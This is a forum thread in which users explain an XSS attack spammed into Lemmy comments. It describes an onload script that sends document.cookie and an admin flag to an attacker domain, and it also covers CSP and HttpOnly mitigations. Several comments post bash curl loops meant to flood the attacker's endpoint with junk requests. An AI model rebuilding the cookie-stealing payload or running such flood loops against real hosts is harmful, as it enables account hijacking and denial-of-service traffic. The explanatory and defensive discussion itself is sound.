Are they just an issue with wefwef or trying to use an exploit
Hey, I can tell you want it does. While I don’t know if they try to download something too (while it really doesn’t look like it), they are trying to steal your browser cookies.
I haven’t removed the obfuscation yet as I am literally in bed but I can tell the general idea of the code.
Onload is a html attribute. Html attribute tell your browser more about what the browser should be doing. So basically onload is an instruction to your browser. By posting those comments, they try to run something called cross site scripting. Basically they want to run their code in your browser without them being the website owner. So now we know the intend of the post, let’s look into the details.
Onload is an attribute that tells the browser to do something once it is fully loaded.
Fetch is a function that allows your browser to request additional information from the server. Endless scrolling would be done with that.
String.fromcharcode is just there to hide a little bit. Think of it as a fancy way to say a word. they are saying a website to connect to there.
Then document.cookie are your cookies for that website.
The next thing is probably your username or something.
So what does that mean? They try to make your browser execute their code when the website is onloaded. The code sends your cookies and your username(?) To a server. They probably save the username and cookie and try to steal the account later.
You seeing the code is good evidence that your browser hasn’t execute the code as the browser didn’t understand it as code to be executed but code to display. So you are probably safe and don’t need to worry
Edit: ups sorry for not answering the question. I don’t know which client they are targeting. They might or might not be targeting wefwef. But they target you, the user, too. And it is probably for Webbrowser users, so chances are wefwef or other web clients.
Edit edit: some people pointed out that it is not the username but basically the admin status of the account.
Looks like it’s issuing a GET to
https://zelensky.zip/save/{ENCODED_JWT_TOKEN_AND_NAV_FLAG}. TheENCODED_JWT_TOKENis frombtoa(document.cookie+nav_flag)wherenav_flagis essentially'navAdmin'if the account hit is an admin or''if the user hit is not an admin (it checks if the admin button in the nav exists). Their server is likely logging all incoming requests and they just need to do a quick decoding to get jwt tokens and a flag telling them if it’s an admin account.I’d be hesitant to visit Lemmy on a browser atm 😓
Sure enough, the
.zipTLD is just being used for malicious activityGoogle Domains, creating new ways to exploit users right before being sold off to Squarespace.
Lemmy.zip is cool!
Good to know, will look into adding it to the kill-it lists out there. Generally more inclined to rely on dynamic naughty lists but sometimes you just need to cut off the limb if it’s 90% rotten.
Can we just hit that domain with junk data and crash their shit?
Yo thanks for the obfuscation. Makes a lot of sense.
Doesn’t Lemmy use HttpOnly cookies? This would fix any js based exploit.
Also, strict CSP would prevent it entirely.
out of curiosity, what CSP options would fix this?
To prevent execution of scripts not referenced with the correct nonce:
script-src 'self' 'nonce-$RANDOM'To make it super strict, this set could be used:
default-src 'self'; script-src 'nonce-$RANDOM' object-src 'none'; base-uri 'none'; form-action 'none'; frame-ancestors 'none'; frame-src 'none'; require-trusted-types-for 'script'Especially the last one might cause the most work, because the “modern web development environment” simply cannot provide this. Also:
form-action 'none';should be validated. It should be set toselfif forms are actually used to send data to the server and not handled by Javascript.The MDN has a good overview: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy
I don’t know what Lemmy uses tbh. I don’t even know if the code would work when run. Like i don’t know e.g. if they grab the username(?) correctly. I just understand their intentions but yeah their execution might be horrible.
I’d be willing to bet they’re using the API to make all the changes. The cookie has the jwt token. I don’t believe you need the username (at least judging by the js API docs).
Someone said they think it is to know if the user is admin. I haven’t verify it. And I tried to make clear that username was a guess.
so does this run automatically ? without the user doing anything ?
If it would work, which it seems like it doesn’t. Yes, it is intended to be automatical.
The encoded strings are
https://zelensky(dot)zip/save/andnavAdminThanks!
Lemmy.world instance under attack right now. It was previously redirecting to 🍋 🎉 and the title and side bar changed to antisemitic trash.
They supposedly attributed it to a hacked admin account and was corrected. But the instance is still showing as defaced and now the page just shows it was “seized by reddit”.
Seems like there is much more going on right now and the attackers have much more than a single admin account.
I just want to add a quick note:
From OPs screenshot, I noticed the JS code is attempting to extract the session cookie from the users that click on the link. If it’s successful, it attempts to exfiltrate to some server otherwise sends an empty value.
You can see the attacker/spammer obscures the url of the server using JS api as well.
May be how lemmy.world attackers have had access for a lengthy period of time. Attackers have been hijacking sessions of admins. The one compromised user opened up the flood gates.
Not a sec engineer, so maybe someone else can chime in.
Here’s a quick bash script if anyone wants to help flood the attackers with garbage data to hopefully slow them down:
while true; do curl https://zelensky.zip/save/$(echo $(hostname) $(date) | shasum | sed 's/.\{3\}$//' | base64); sleep 1; doneOnce every second, it grabs your computer name and the current system time, hashes them together to get a completely random string, trims off the shasum control characters and base64 encodes it to make everything look similar to what the attackers would be expecting, and sends it as a request to the same endpoint that their xss attack uses. It’ll run on Linux and macOS (and windows if you have a WSL vm set up!) and uses next to nothing in terms of system resources.
Try
while true; do curl https://zelensky.zip/save/$(echo $(hostname) $(date) | shasum | sed 's/.\{3\}$//' | base64) > /dev/null ; sleep 1; doneIt’ll prevent you from having to see the drivel that curl returns from that site.
Oh weird, it wasn’t returning anything a few minutes ago. I wonder if we pissed then off lol
Not sure, I wasn’t that long after you and I started getting HTML responses back from the page. Standard Russian Propaganda that doesn’t need to be repeated here - if you’ve seen the claims once you’ve seen 'em a million times!
I did take the steps of reporting this abuse to cloudflare (who they’re using for DDOS protection) and their registrar.
Why would you include your hostname in the hash? That just sounds like an invitations for a mistake to leak semi-private telemetry data.
Come to think of it… Isn’t obscured telemetry exactly what your suggestion is doing? If they get or guess your hostname by other means, then they have a nice timestamped request from you, signed with your hostname, every second
It’s essentially to add a unique salt to each machine that’s doing this, otherwise they’d all be generating the same hash from identical timestamps. Afaik, sha hashes are still considered secure; and it’s very unlikely they’d even try to crack one. But even if they did try and were successful, there isn’t really anything nefarious they can do with your machines local name.
Here’s the one where it uses epoch time (better randomization) and also hides the output of curl
while true; do curl https://zelensky.zip/save/$(echo $(hostname) $(date +%s) | shasum | sed 's/.\{3\}$//' | base64) &> /dev/null ; echo "done."; done
You seem to be correct. Some sort of drive by login token scraper. Changing your password won’t help, because they still have an authorized copy of your login token. And I don’t think Lemmy has any sort of “Log out of all devices” button, (which deauthorizes all of the account’s login tokens) so there’s not much that a compromised account holder can do to stop it once the hacker has that token.
It’s the same thing that got Linus Tech Tips a few weeks back. Their entire YouTube account got hacked and turned into a fake “buy into our crypto and Elon Musk will give you a bunch of money” scam a few weeks back. And Linus quickly discovered that changing their passwords didn’t help, because the hackers were able to simply continue using the token they already had.
This was likely going on for a while, and only recently got activated because they finally snagged an admin account. Shit like this can lurk for a long time, simply waiting for the right target to stumble into it. They don’t really care about the individual accounts, except for helping spread the hack farther. But once they grabbed that admin account, they had what they wanted.
Lemon party… Truly the fediverse is bringing us back to the golden age of the internet.
I thought I had forgotten about it all. Now they’re all back. I can even hear the piano from 2g1c slowly playing out. Help.
Another instance was hacked too: https://lemmy.blahaj.zone/
Must be some boomer if they know what lemon party is, lmao. It’s been a hot minute since lemon party, one man one jar, or two girls one cup were being talked about.
Linking to lemonparty and saying “seized by reddit” strikes me as the playbook of an old 4chan troll/raid, trying to instigate more drama between two places they both hate at once.
Resetting federation to threads.net is even stronger proof that this was done by a ‘holds sporks so randum’ type of script kiddies.
I can’t log into my account on lemmy.world, but I guess this is what they mean by federation and different instances continuing to work.
Do you think the accounts posting this have been hacked or are just bots or something.
if it has document.cookie in it - it is trying to steal your cookies, to use your account. that’s a JavaScript link that, well, sends your account cookies to a random ass site.
idk for sure but people are saying lemmy.world got hacked maybe it has to do with that?
Definitely seems to be trying to exploit the same thing
yeah after reading more of the post I linked it definitely looks like it
The encoded string contains the URL
zelensky dot zip. Zip is one of the newer top-level domains. It itself is not a zip file, but I am not going to visit that site to find out whatever treasures it has to offer…Another reason to block this TLD in the firewall solution.
Yea I’ve got both
.zipand.movblocked on my piholesorry i’m missing it. why this specific TLD? can’t they just use any TLD for this and achieve the same thing? is there something special with .mov?
It’s because it can cause confusion. The only difference between example.com/file.zip and example.com.file.zip is one uses a . and the other a / but both are valid domains. If somebody isn’t paying much attention or they don’t know much about domain names, they could click thinking to get a zip file from a legitimate site and end up going somewhere malicious instead. No other TLDs have this issue (well, I guess .com technically has it but who the hell is downloading and running com files these days) and they’re pretty much exclusively used for this reason so it’s a good idea to block them just to be safe.
since .zip and .mov are recognizable file extensions, a url of the form google.com.docs.zelensky.zip could make people think that the domain is google.com pointing to a zip instead of the true domain, zelensky (dot) zip which probably would serve malicious content under that subdomain.
sorry i’m missing it. why this specific TLD? can’t they just use any TLD for this and achieve the same thing? why is this a reason to block it?
Because .zip is a commonly used file extension.
i think i understand that part but why is this specific event “another reason to block this TLD”? can’t they just use any TLD for this and achieve the same thing? is there another inherit security issue with .zip that doesn’t exist with other domains?
They can and they do. Using a commonly known and used file extension to “hide” a malicious URL is just easier.
Here is an alternative Piped link(s): https://piped.video/watch?v=GCVJsz7EODA
Piped is a privacy-respecting open-source alternative frontend to YouTube.
I’m open-source, check me out at GitHub.
gotcha ok i think i’m getting it. just to make sure i’m not missing anything, you’re saying that in this case it didn’t matter as in the end they could use any TLD and achieve the same effect.
but in general, threat actors hope to confuse people into thinking this “.zip” TLDs are only referencing local files instead of web addresses. right?
but in general, threat actors hope to confuse people into thinking this “.zip” TLDs are only referencing local files instead of web addresses. right?
Exactly!
Curl didn’t return anything. They’re likely just using it to log requests since the request path contains the data they need.
Not just that, it looks for a
navAdmincookie in your browser and sends that tozelensky(dot)zip/save/<your cookie here>in the form of a GET request.
A few minutes ago Ruud posted that there was a hack, i wonder if it has something to do with that?
Yes, these comments are JavaScript code, intended to run in the browser of anyone viewing them. Best to stay clear of the webapp for now (native mobile apps should not be vulnerable).
Spez’s Revenge
Clicking on it would run javascript on load (most browsers block it by default), but I would avoid clicking either way.
You can’t see what the link actually is, only its Label.
Onload, if interpreted as Javascript instead of text, would have executed on load, not on click.
Hey, has this been fixed? I’m nervous about using Lemmy on my work computer now.
Instances running 18.2 should be fine, and as far as I understand it (with no dev qualifications to speak of, fwiw), these exploits only affected the local instance - they weren’t permeating through other instances viewing the exploits through Activitypub. That’s all to say, as long as your instance is running 18.2 or higher (the 18.2-rc’s should have in progress patches, as well), I believe you should be fine.
Shit, it doesn’t look like lemmy.world (my home instance) is running 18.2 yet, according to the bottom of the window. Is that correct?
It’s been fixed on Lemmy.world they just disabled custom emojis which fixes the issue
Click on one of the links and find out. Don’t forget to let us all know what happened. /s🤣🤣
just a website with the usual bullshit rambings of anti-ukraine conspiracists.
And now it has your session cookie
Which is why I always check dodgy links in a non logged in browser in an isolated vm.
Good luck, I'm behind 7 proxiesAh, the good old days.
deleted by creator